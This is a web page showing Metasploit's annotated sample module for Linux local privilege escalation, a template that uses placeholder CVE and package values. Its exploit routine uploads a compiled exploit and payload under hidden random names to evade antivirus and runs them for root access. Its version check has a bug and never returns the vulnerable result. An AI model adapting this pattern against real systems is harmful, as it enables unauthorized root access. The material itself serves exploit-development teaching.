CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
###
7
#
8
# This exploit sample shows how an exploit module could be written to exploit
9
# a bug in a command on a linux computer for priv esc.
10
#
11
###
12
class MetasploitModule < Msf::Exploit::Local
13
  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
14

15
  # includes: is_root?
16
  include Msf::Post::Linux::Priv
17
  # includes: has_gcc?
18
  include Msf::Post::Linux::System
19
  # includes: kernel_release
20
  include Msf::Post::Linux::Kernel
21
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
22
  include Msf::Post::File
23
  # includes generate_payload_exe
24
  include Msf::Exploit::EXE
25
  # includes register_files_for_cleanup
26
  include Msf::Exploit::FileDropper
27
  # includes: COMPILE option, live_compile?, upload_and_compile
28
  # strip_comments
29
  include Msf::Post::Linux::Compile
30
  prepend Msf::Exploit::Remote::AutoCheck
31

32
  def initialize(info = {})
33
    super(
34
      update_info(
35
        info,
36
        # The Name should be just like the line of a Git commit - software name,
37
        # vuln type, class. Preferably apply
38
        # some search optimization so people can actually find the module.
39
        # We encourage consistency between module name and file name.
40
        'Name' => 'Sample Linux Priv Esc',
41
        'Description' => %q{
42
          This exploit module illustrates how a vulnerability could be exploited
43
          in an linux command for priv esc.
44
        },
45
        'License' => MSF_LICENSE,
46
        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
47
        # Add reference to additional authors, like those creating original proof of concepts or
48
        # reference materials.
49
        # It is also common to comment in who did what (PoC vs metasploit module, etc)
50
        'Author' => [
51
          'h00die <[email protected]>', # msf module
52
          'researcher' # original PoC, analysis
53
        ],
54
        'Platform' => [ 'linux' ],
55
        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but the exploit
56
        # may only apply to say ARCH_PPC or something else, where a specific arch is required.
57
        # A full list is available in lib/msf/core/payload/uuid.rb
58
        'Arch' => [ ARCH_X86, ARCH_X64 ],
59
        # What types of sessions we can use this module in conjunction with.  Most modules use libraries
60
        # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
61
        # test both to ensure compatibility.
62
        'SessionTypes' => [ 'shell', 'meterpreter' ],
63
        'Targets' => [[ 'Auto', {} ]],
64
        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
65
        # since privilege escalation modules typically result in elevated privileges, this is
66
        # generally set to true
67
        'Privileged' => true,
68
        'References' => [
69
          [ 'OSVDB', '12345' ],
70
          [ 'EDB', '12345' ],
71
          [ 'URL', 'http://www.example.com'],
72
          [ 'CVE', '1978-1234']
73
        ],
74
        'DisclosureDate' => '2023-11-29',
75
        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
76
        # It's generally easiest just to put the default at the beginning of the list and skip this
77
        # entirely.
78
        'DefaultTarget' => 0,
79
        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
80
        'Notes' => {
81
          'Stability' => [],
82
          'Reliability' => [],
83
          'SideEffects' => []
84
        }
85
      )
86
    )
87
    # force exploit is used to bypass the check command results
88
    register_advanced_options [
89
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
90
    ]
91
  end
92

93
  # Simplify pulling the writable directory variable
94
  def base_dir
95
    datastore['WritableDir'].to_s
96
  end
97

98
  def check
99
    # Check the kernel version to see if its in a vulnerable range
100
    release = kernel_release
101
    if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
102
       Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
103
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
104
    end
105
    vprint_good "Kernel version #{release} appears to be vulnerable"
106

107
    # Check the app is installed and the version, debian based example
108
    package = cmd_exec('dpkg -l example | grep \'^ii\'')
109
    if package&.include?('1:2015.3.14AR.1-1build1')
110
      CheckCode::Appears("Vulnerable app version #{package} detected")
111
    end
112
    CheckCode::Safe("app #{package} is not vulnerable")
113
  end
114

115
  #
116
  # The exploit method drops a payload file to the system, then either compiles and runs
117
  # or just runs the exploit on the system.
118
  #
119
  def exploit
120
    # Check if we're already root
121
    if !datastore['ForceExploit'] && is_root?
122
      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
123
    end
124

125
    # Make sure we can write our exploit and payload to the local system
126
    unless writable? base_dir
127
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
128
    end
129

130
    # Upload exploit executable, writing to a random name so AV doesn't have too easy a job
131
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
132
    executable_path = "#{base_dir}/#{executable_name}"
133
    if live_compile?
134
      vprint_status 'Live compiling exploit on system...'
135
      upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
136
      rm_f "#{executable_path}.c"
137
    else
138
      vprint_status 'Dropping pre-compiled exploit on system...'
139
      upload_and_chmodx executable_path, exploit_data('example')
140
    end
141

142
    # register the file for automatic cleanup
143
    register_files_for_cleanup(executable_path)
144

145
    # Upload payload executable
146
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
147
    upload_and_chmodx payload_path, generate_payload_exe
148
    # register payload for automatic cleanup
149
    register_files_for_cleanup(payload_path)
150

151
    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
152
    # output from the exploit being run, they can optionally see it
153
    timeout = 30
154
    print_status 'Launching exploit...'
155
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
156
    output.each_line { |line| vprint_status line.chomp }
157
  end
158
end
159

160